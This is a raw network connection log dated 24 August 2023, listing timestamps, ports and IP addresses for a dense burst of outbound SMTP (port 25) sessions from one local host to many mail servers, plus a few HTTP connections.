Aug 24, 2023 19:03:29.624279976 CEST	25	49873	52.101.42.13	192.168.2.8
Aug 24, 2023 19:03:29.624361038 CEST	49873	25	192.168.2.8	52.101.42.13
Aug 24, 2023 19:03:29.632963896 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:29.632999897 CEST	25	49893	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.633080006 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:29.633245945 CEST	49893	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.636166096 CEST	25	49884	64.35.208.175	192.168.2.8
Aug 24, 2023 19:03:29.636353970 CEST	49884	25	192.168.2.8	64.35.208.175
Aug 24, 2023 19:03:29.643626928 CEST	25	49891	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:29.643897057 CEST	49891	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:29.645216942 CEST	25	49895	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.645318031 CEST	49895	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:29.648852110 CEST	25	49890	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:29.649019003 CEST	49890	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:29.663925886 CEST	25	49896	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.664016008 CEST	49896	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.672847033 CEST	25	49882	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.685285091 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:29.685509920 CEST	25	49887	142.246.255.253	192.168.2.8
Aug 24, 2023 19:03:29.686050892 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:29.687181950 CEST	25	49878	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.693001032 CEST	25	49894	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.693236113 CEST	49894	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.717963934 CEST	49898	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:29.729394913 CEST	25	49882	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.729432106 CEST	25	49882	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.729511023 CEST	49882	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.729613066 CEST	49882	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.741693020 CEST	25	49897	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:29.741935968 CEST	49897	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:29.751091957 CEST	25	49893	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.751445055 CEST	25	49893	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.751658916 CEST	49893	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.764321089 CEST	25	49888	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:29.764383078 CEST	25	49888	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:29.764583111 CEST	49888	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:29.766686916 CEST	25	49889	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:29.766913891 CEST	49889	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:29.769514084 CEST	25	49896	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.770272970 CEST	49896	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.775645971 CEST	25	49890	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:29.775739908 CEST	25	49884	64.35.208.175	192.168.2.8
Aug 24, 2023 19:03:29.775790930 CEST	25	49890	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:29.776313066 CEST	49884	25	192.168.2.8	64.35.208.175
Aug 24, 2023 19:03:29.776632071 CEST	49890	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:29.776746988 CEST	25	49891	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:29.776851892 CEST	25	49891	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:29.777002096 CEST	49891	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:29.779613018 CEST	25	49895	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.780641079 CEST	49895	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:29.786421061 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:29.786421061 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:29.786510944 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:29.786510944 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:29.786542892 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:29.786587000 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:29.786633968 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:29.786670923 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:29.786710024 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:29.786752939 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:29.786798954 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:29.797363997 CEST	25	49894	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.798254967 CEST	25	49894	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.798507929 CEST	49894	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.819906950 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:29.820157051 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:29.823800087 CEST	49899	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:29.824585915 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:29.836201906 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:29.836466074 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:29.842400074 CEST	49900	25	192.168.2.8	67.231.156.49
Aug 24, 2023 19:03:29.843220949 CEST	25	49882	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.850630999 CEST	25	49898	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.850737095 CEST	49898	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:29.865401030 CEST	25	49893	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.865740061 CEST	49893	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.874017000 CEST	25	49896	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.875391960 CEST	25	49896	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.875683069 CEST	49896	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.886543036 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:29.886703968 CEST	49901	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:29.886709929 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:29.890651941 CEST	49902	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.902698040 CEST	25	49894	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.903057098 CEST	25	49890	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:29.903234005 CEST	25	49890	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:29.903470039 CEST	49890	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:29.903820992 CEST	25	49894	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.904069901 CEST	49894	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.905016899 CEST	25	49894	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.905132055 CEST	49894	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.910480022 CEST	25	49891	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:29.910517931 CEST	25	49891	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:29.910593987 CEST	49891	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:29.910716057 CEST	49891	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:29.913219929 CEST	25	49895	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.914040089 CEST	25	49895	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.914313078 CEST	49895	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:29.915776968 CEST	25	49884	64.35.208.175	192.168.2.8
Aug 24, 2023 19:03:29.916234970 CEST	49884	25	192.168.2.8	64.35.208.175
Aug 24, 2023 19:03:29.935791016 CEST	25	49888	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:29.935837030 CEST	25	49889	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:29.936779022 CEST	25	49888	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:29.937103033 CEST	49888	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:29.937874079 CEST	25	49888	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:29.937959909 CEST	49888	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:29.938741922 CEST	25	49889	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:29.939012051 CEST	49889	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:29.949290037 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:29.949335098 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:29.952374935 CEST	49903	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:29.954765081 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:29.967333078 CEST	25	49900	67.231.156.49	192.168.2.8
Aug 24, 2023 19:03:29.967485905 CEST	49900	25	192.168.2.8	67.231.156.49
Aug 24, 2023 19:03:29.982063055 CEST	49904	25	192.168.2.8	67.231.158.200
Aug 24, 2023 19:03:29.982147932 CEST	25	49896	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.983413935 CEST	25	49896	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.983644009 CEST	49896	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.984127998 CEST	49905	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:29.984512091 CEST	25	49896	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.984589100 CEST	49896	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.986977100 CEST	25	49898	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.987235069 CEST	49898	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:29.987488985 CEST	49906	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:29.994816065 CEST	25	49902	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.994956970 CEST	49902	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.995568037 CEST	25	49899	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:29.996936083 CEST	49899	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.008203983 CEST	25	49894	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.014115095 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:30.022439957 CEST	25	49893	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:30.028301954 CEST	49907	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.030050993 CEST	25	49890	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.030160904 CEST	25	49890	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.030219078 CEST	49890	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.038032055 CEST	25	49906	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:30.038188934 CEST	49906	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:30.043528080 CEST	25	49891	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:30.046879053 CEST	25	49895	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:30.047962904 CEST	25	49895	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:30.048449993 CEST	49895	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:30.048974037 CEST	25	49895	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:30.049029112 CEST	49895	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:30.058273077 CEST	25	49903	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:30.058366060 CEST	49903	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:30.069425106 CEST	25	49901	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.069582939 CEST	49901	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.087373018 CEST	25	49896	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.098042965 CEST	25	49904	67.231.158.200	192.168.2.8
Aug 24, 2023 19:03:30.098413944 CEST	49904	25	192.168.2.8	67.231.158.200
Aug 24, 2023 19:03:30.098661900 CEST	25	49897	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.098845005 CEST	49897	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.100836992 CEST	25	49902	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.101073980 CEST	49902	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.107316017 CEST	49908	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:30.108123064 CEST	25	49888	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:30.109018087 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:30.109051943 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:30.109076023 CEST	25	49889	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:30.109152079 CEST	25	49889	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:30.109241962 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:30.109272957 CEST	49889	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:30.109380960 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:30.109416008 CEST	49889	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:30.112512112 CEST	25	49905	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.112718105 CEST	49905	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.117866993 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:30.119884014 CEST	25	49898	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:30.120568991 CEST	25	49898	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:30.120912075 CEST	49898	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:30.133655071 CEST	25	49906	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:30.133929014 CEST	49906	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:30.135755062 CEST	25	49907	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.135873079 CEST	49907	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.147579908 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:30.148312092 CEST	25	49893	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:30.148346901 CEST	25	49893	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:30.148454905 CEST	49893	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:30.148685932 CEST	49893	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:30.164215088 CEST	49909	25	192.168.2.8	194.153.110.15
Aug 24, 2023 19:03:30.164377928 CEST	25	49900	67.231.156.49	192.168.2.8
Aug 24, 2023 19:03:30.164630890 CEST	49900	25	192.168.2.8	67.231.156.49
Aug 24, 2023 19:03:30.181086063 CEST	25	49895	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:30.184359074 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:30.184391022 CEST	25	49906	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:30.184762955 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:30.186625957 CEST	25	49906	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:30.186862946 CEST	49906	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:30.192359924 CEST	25	49892	43.225.108.107	192.168.2.8
Aug 24, 2023 19:03:30.192393064 CEST	25	49909	194.153.110.15	192.168.2.8
Aug 24, 2023 19:03:30.192531109 CEST	49909	25	192.168.2.8	194.153.110.15
Aug 24, 2023 19:03:30.192837000 CEST	49892	25	192.168.2.8	43.225.108.107
Aug 24, 2023 19:03:30.202318907 CEST	49910	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:30.205041885 CEST	25	49902	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.205866098 CEST	25	49903	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:30.205907106 CEST	25	49902	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.206202984 CEST	25	49903	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:30.206243992 CEST	49903	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:30.206269979 CEST	49902	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.206290007 CEST	49903	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:30.213771105 CEST	49911	25	192.168.2.8	104.47.66.10
Aug 24, 2023 19:03:30.220434904 CEST	25	49909	194.153.110.15	192.168.2.8
Aug 24, 2023 19:03:30.232914925 CEST	49912	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.235433102 CEST	25	49897	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.235507965 CEST	25	49897	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.235769987 CEST	49897	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.237853050 CEST	25	49906	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:30.238116980 CEST	49906	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:30.238970041 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:30.239216089 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:30.240447998 CEST	25	49908	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:30.240577936 CEST	49908	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:30.244826078 CEST	25	49905	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.244875908 CEST	25	49907	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.245125055 CEST	49905	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.245197058 CEST	49907	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.252278090 CEST	25	49904	67.231.158.200	192.168.2.8
Aug 24, 2023 19:03:30.252751112 CEST	49904	25	192.168.2.8	67.231.158.200
Aug 24, 2023 19:03:30.253335953 CEST	25	49898	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:30.254507065 CEST	25	49898	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:30.254939079 CEST	49898	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:30.255431890 CEST	25	49901	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.255654097 CEST	49901	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.255686045 CEST	25	49898	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:30.255779028 CEST	49898	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:30.262214899 CEST	25	49893	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:30.275353909 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:30.280949116 CEST	25	49889	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:30.297086000 CEST	25	49900	67.231.156.49	192.168.2.8
Aug 24, 2023 19:03:30.297137976 CEST	25	49900	67.231.156.49	192.168.2.8
Aug 24, 2023 19:03:30.297175884 CEST	25	49906	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:30.297240973 CEST	49900	25	192.168.2.8	67.231.156.49
Aug 24, 2023 19:03:30.297297001 CEST	49900	25	192.168.2.8	67.231.156.49
Aug 24, 2023 19:03:30.298023939 CEST	49913	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.309514999 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:30.309951067 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:30.310250998 CEST	25	49902	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.311660051 CEST	25	49903	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:30.311801910 CEST	25	49902	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.311903954 CEST	25	49906	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:30.312179089 CEST	49902	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.312306881 CEST	49906	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:30.312822104 CEST	25	49902	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.312896967 CEST	49902	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.356422901 CEST	25	49907	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.356467962 CEST	25	49907	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.356834888 CEST	49907	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.363054991 CEST	25	49912	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.363271952 CEST	49912	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.366178989 CEST	25	49906	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:30.366267920 CEST	49906	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:30.370198011 CEST	25	49892	43.225.108.107	192.168.2.8
Aug 24, 2023 19:03:30.370487928 CEST	49892	25	192.168.2.8	43.225.108.107
Aug 24, 2023 19:03:30.371409893 CEST	25	49904	67.231.158.200	192.168.2.8
Aug 24, 2023 19:03:30.372375011 CEST	25	49910	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:30.372401953 CEST	25	49904	67.231.158.200	192.168.2.8
Aug 24, 2023 19:03:30.372431993 CEST	25	49904	67.231.158.200	192.168.2.8
Aug 24, 2023 19:03:30.372514963 CEST	49904	25	192.168.2.8	67.231.158.200
Aug 24, 2023 19:03:30.372539043 CEST	49910	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:30.372572899 CEST	49904	25	192.168.2.8	67.231.158.200
Aug 24, 2023 19:03:30.375159979 CEST	25	49897	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.375438929 CEST	25	49897	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.375711918 CEST	49897	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.376291990 CEST	25	49905	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.376369953 CEST	25	49905	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.376610041 CEST	49905	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.377103090 CEST	25	49899	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.377633095 CEST	49899	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.379426956 CEST	25	49908	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:30.379796028 CEST	49908	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:30.385085106 CEST	25	49911	104.47.66.10	192.168.2.8
Aug 24, 2023 19:03:30.385340929 CEST	49911	25	192.168.2.8	104.47.66.10
Aug 24, 2023 19:03:30.390248060 CEST	25	49898	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:30.392817020 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:30.393454075 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:30.404786110 CEST	25	49913	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.405033112 CEST	49913	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.405229092 CEST	49914	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.416229010 CEST	25	49902	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.435517073 CEST	49915	25	192.168.2.8	106.10.248.73
Aug 24, 2023 19:03:30.438040972 CEST	25	49901	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.438071012 CEST	25	49901	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.438352108 CEST	49901	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.455024958 CEST	49916	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.456325054 CEST	49917	25	192.168.2.8	129.158.33.68
Aug 24, 2023 19:03:30.457572937 CEST	49918	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:30.464643002 CEST	25	49907	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.465444088 CEST	25	49907	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.465876102 CEST	49907	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.466505051 CEST	25	49907	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.466573954 CEST	49907	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.501105070 CEST	49919	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:30.504786015 CEST	25	49905	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.504828930 CEST	25	49905	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.505001068 CEST	49905	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.511928082 CEST	25	49897	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.511991978 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:30.512015104 CEST	25	49897	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.512099981 CEST	49897	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.512470007 CEST	25	49908	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:30.512590885 CEST	25	49908	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:30.512856960 CEST	49908	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:30.520711899 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:30.531364918 CEST	25	49913	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.531908035 CEST	25	49914	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.532006025 CEST	49913	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.532036066 CEST	49914	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.538906097 CEST	25	49912	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.539388895 CEST	49912	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.540157080 CEST	25	49910	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:30.540471077 CEST	49910	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:30.548701048 CEST	25	49899	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.548933983 CEST	25	49899	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.549200058 CEST	49899	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.555331945 CEST	25	49892	43.225.108.107	192.168.2.8
Aug 24, 2023 19:03:30.555377960 CEST	25	49911	104.47.66.10	192.168.2.8
Aug 24, 2023 19:03:30.557334900 CEST	49911	25	192.168.2.8	104.47.66.10
Aug 24, 2023 19:03:30.557478905 CEST	49892	25	192.168.2.8	43.225.108.107
Aug 24, 2023 19:03:30.565198898 CEST	25	49916	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.565380096 CEST	49916	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.565649986 CEST	49920	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.568749905 CEST	49921	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.574160099 CEST	25	49917	129.158.33.68	192.168.2.8
Aug 24, 2023 19:03:30.574301004 CEST	49917	25	192.168.2.8	129.158.33.68
Aug 24, 2023 19:03:30.576426983 CEST	25	49907	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.576678991 CEST	25	49918	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:30.576761007 CEST	49918	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:30.583256960 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:30.583364010 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:30.609936953 CEST	25	49919	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:30.610199928 CEST	49919	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:30.625178099 CEST	25	49901	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.625566959 CEST	49901	25	192.168.2.8	144.160.159.22
